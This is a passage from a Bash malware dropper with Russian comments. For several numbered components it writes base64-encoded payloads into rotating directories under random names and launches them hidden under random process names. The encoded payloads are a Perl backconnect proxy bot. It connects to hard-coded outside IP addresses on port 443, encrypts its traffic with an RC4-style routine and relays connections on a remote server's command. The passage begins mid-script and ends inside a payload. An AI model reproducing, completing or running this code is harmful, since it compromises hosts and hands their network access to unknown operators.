"$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #32 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 33 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #33 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #33 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 34 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr 